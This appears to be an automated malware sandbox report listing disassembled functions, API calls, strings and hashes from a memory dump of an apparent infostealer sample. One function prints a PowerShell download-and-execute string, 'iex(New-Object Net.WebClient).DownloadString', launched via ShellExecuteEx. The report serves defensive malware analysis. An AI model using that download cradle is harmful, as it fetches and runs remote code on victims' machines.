Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: 0My$<$@Ly$0y
API String ID: 1148417306-1044796305
Opcode ID: 51a131c635dea9461ca5fbd9e512c5680335e93ee14c93c1efa3311f51896025
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 51a131c635dea9461ca5fbd9e512c5680335e93ee14c93c1efa3311f51896025
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 022D8367 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0064A360,00000000,?,00420E2C,00000000,?,00000000), ref: 022D8397
RtlAllocateHeap.NTDLL(00000000), ref: 022D839E
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 022D83BF
__aulldiv.LIBCMT ref: 022D83D9
__aulldiv.LIBCMT ref: 022D83E7
wsprintfA.USER32 ref: 022D8413

Strings

@, xrefs: 022D83B4

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: @
API String ID: 2774356765-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: badb4610ece10b2e44eb1f74b556a8f8ea68bf28e80b8d97ba417fcf64c88bc8
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: BB2147B1E54218ABDB00DFD4DC49FAEBBB9FB44B04F104609F605BB2C4C7B869018BA5

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00409E67
v10, xrefs: 00409EA3
v20, xrefs: 00409E21
@, xrefs: 00409EF1

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: 43ca3934b52a4446b4b6cf1fa4914ceec72bf29801e8da05ad35721471fe8544
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: 43ca3934b52a4446b4b6cf1fa4914ceec72bf29801e8da05ad35721471fe8544
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 022C7837 Relevance: 12.1, APIs: 8, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022C7537: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 022C75A1
Part of subcall function 022C7537: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 022C7618
Part of subcall function 022C7537: StrStrA.SHLWAPI(00000000,004217EC,00000000), ref: 022C7674
Part of subcall function 022C7537: GetProcessHeap.KERNEL32(00000000,?), ref: 022C76B9
Part of subcall function 022C7537: HeapFree.KERNEL32(00000000), ref: 022C76C0

lstrcat.KERNEL32(0064A668,004217FC), ref: 022C786D
lstrcat.KERNEL32(0064A668,00000000), ref: 022C78AF
lstrcat.KERNEL32(0064A668,00421800), ref: 022C78C1
lstrcat.KERNEL32(0064A668,00000000), ref: 022C78F6
lstrcat.KERNEL32(0064A668,00421804), ref: 022C7907
lstrcat.KERNEL32(0064A668,00000000), ref: 022C793A
lstrcat.KERNEL32(0064A668,00421808), ref: 022C7954
task.LIBCPMTD ref: 022C7962

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID:
API String ID: 2677904052-0
Opcode ID: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction ID: 2561f650eb52ddf2f0995cf2b23094e74e628f722ad27fb3df6fe93dfc82ffd5
Opcode Fuzzy Hash: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction Fuzzy Hash: 2C312F75E50209EFDB04EBE0DC94DFE777AEB49301F245218E10667294DA34A942CF52

Function 022C5217 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 022C5231
RtlAllocateHeap.NTDLL(00000000), ref: 022C5238
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 022C5251
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 022C5278
InternetReadFile.WININET(?,?,00000400,00000000), ref: 022C52A8
memcpy.MSVCRT(00000000,?,00000001), ref: 022C52F1
InternetCloseHandle.WININET(?), ref: 022C5320
InternetCloseHandle.WININET(?), ref: 022C532D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 115837f6574749958b6ecbcaee2c688be1f676679876c6a36d0e4ab8fe972489
Instruction ID: 7b01eefef1caa15992afe42de62e73f4f660db41d40b0244a7214433ba5bd4e2
Opcode Fuzzy Hash: 115837f6574749958b6ecbcaee2c688be1f676679876c6a36d0e4ab8fe972489
Instruction Fuzzy Hash: 553118B8A40218ABDB20CF94DC84BDCB7B5EB48704F5081D9F609B7284D7B46AC5CF99

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
HeapAlloc.KERNEL32(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocFileProcessReadmemcpy
String ID:
API String ID: 3894370878-0
Opcode ID: 1dc63bcea8c89599eeebbab4266e6e891c5a7427e8975807a0a319ab44058970
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 1dc63bcea8c89599eeebbab4266e6e891c5a7427e8975807a0a319ab44058970
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 022CD667 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 022CD6E8
lstrlen.KERNEL32(00000000), ref: 022CD8FF
lstrlen.KERNEL32(00000000), ref: 022CD913
DeleteFileA.KERNEL32(00000000), ref: 022CD992

Strings

.y, xrefs: 022CD6FB, 022CD701
`Vy, xrefs: 022CD7D4, 022CD7DA

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: `Vy$.y
API String ID: 211194620-3424853670
Opcode ID: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction ID: 05b96733c0f4795ad4f432b67bc56df890511463b8d92267618f617432cc94d4
Opcode Fuzzy Hash: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction Fuzzy Hash: 17911172920308ABCB18FBE4DD95DEE733AAF24304F54466DE10662194EF346B49CF61

Function 0040D400 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlenA.KERNEL32(00000000), ref: 0040D698
lstrlenA.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Strings

`Vy, xrefs: 0040D56D
.y, xrefs: 0040D494

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: `Vy$.y
API String ID: 211194620-3424853670
Opcode ID: 71153f48811ab97277adb1eba65f0c2a50862b60df6060ffb178010a9f1e5c68
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: 71153f48811ab97277adb1eba65f0c2a50862b60df6060ffb178010a9f1e5c68
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 00410740 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00793060), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,007930A0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,00793050), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`0y, xrefs: 0041077D
P0y, xrefs: 00410981
`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: P0y$`0y$`_A
API String ID: 3722407311-2055732720
Opcode ID: f37fb10c9b6cf1a1dec8b5cf94e4c42fd659044f66138d1cb817d3683c15b997
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: f37fb10c9b6cf1a1dec8b5cf94e4c42fd659044f66138d1cb817d3683c15b997
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00793060), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,007930A0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,00793050), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`0y, xrefs: 0041077D
P0y, xrefs: 00410981
`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: P0y$`0y$`_A
API String ID: 3722407311-2055732720
Opcode ID: b5689747017d0b1233e39e7abd20f6e68fcc7440175b3c06aa4901425a035c35
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: b5689747017d0b1233e39e7abd20f6e68fcc7440175b3c06aa4901425a035c35
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 022C1577 Relevance: 10.6, APIs: 7, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 022C158E

Part of subcall function 022C1507: GetProcessHeap.KERNEL32(00000000,00000104), ref: 022C151B
Part of subcall function 022C1507: RtlAllocateHeap.NTDLL(00000000), ref: 022C1522
Part of subcall function 022C1507: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 022C153E
Part of subcall function 022C1507: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 022C155C
Part of subcall function 022C1507: RegCloseKey.ADVAPI32(?), ref: 022C1566

lstrcat.KERNEL32(?,00000000), ref: 022C15B6
lstrlen.KERNEL32(?), ref: 022C15C3
lstrcat.KERNEL32(?,004262EC), ref: 022C15DE

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

CopyFileA.KERNEL32(?,00000000,00000001), ref: 022C16CC

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 022C9C53
Part of subcall function 022C9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 022C9C78
Part of subcall function 022C9C27: LocalAlloc.KERNEL32(00000040,?), ref: 022C9C98
Part of subcall function 022C9C27: ReadFile.KERNEL32(000000FF,?,00000000,022C16F6,00000000), ref: 022C9CC1
Part of subcall function 022C9C27: LocalFree.KERNEL32(022C16F6), ref: 022C9CF7
Part of subcall function 022C9C27: CloseHandle.KERNEL32(000000FF), ref: 022C9D01

DeleteFileA.KERNEL32(00000000), ref: 022C1756
memset.MSVCRT ref: 022C177D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlenmemset$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID:
API String ID: 3885987321-0
Opcode ID: a966d81fa4e61ce0bb2f82015b0395006b0000ef8fd52be6194f2f88bed640a7
Instruction ID: ceb8943ab015d29f3454e07527db5c2eeeddbcc80be5ff719f3af0cbb8298130
Opcode Fuzzy Hash: a966d81fa4e61ce0bb2f82015b0395006b0000ef8fd52be6194f2f88bed640a7
Instruction Fuzzy Hash: E45160B1A603189BCB15FBA0DD91FED737EAF54300F4042ACA60A62084EF745B89CF95

Function 00412C90 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
0y, xrefs: 00412D4E
')", xrefs: 00412CB3
<, xrefs: 00412D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe$0y
API String ID: 3031569214-2336628047
Opcode ID: 5f8ae31bfa9754787a169228238118935e8d59a2c42068384eb8c8c7280cf3ad
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: 5f8ae31bfa9754787a169228238118935e8d59a2c42068384eb8c8c7280cf3ad
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 022D6B87 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 022D6BD3
sscanf.NTDLL ref: 022D6C00
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 022D6C19
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 022D6C27
ExitProcess.KERNEL32 ref: 022D6C41

Strings

(*y, xrefs: 022D6BE5, 022D6BEB

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: (*y
API String ID: 2533653975-2410531834
Opcode ID: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction ID: 5d742914603963e02bde85a0a15a123985868ebc3524d6484161b29ab52efd21
Opcode Fuzzy Hash: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction Fuzzy Hash: 9621CBB5D14209AFCF08EFE4E9459EEB7BAFF48300F04852EE516A3254EB345605CB65

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.ADVAPI32(00000000,007997C0,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.ADVAPI32(00000000,007995E0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.ADVAPI32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
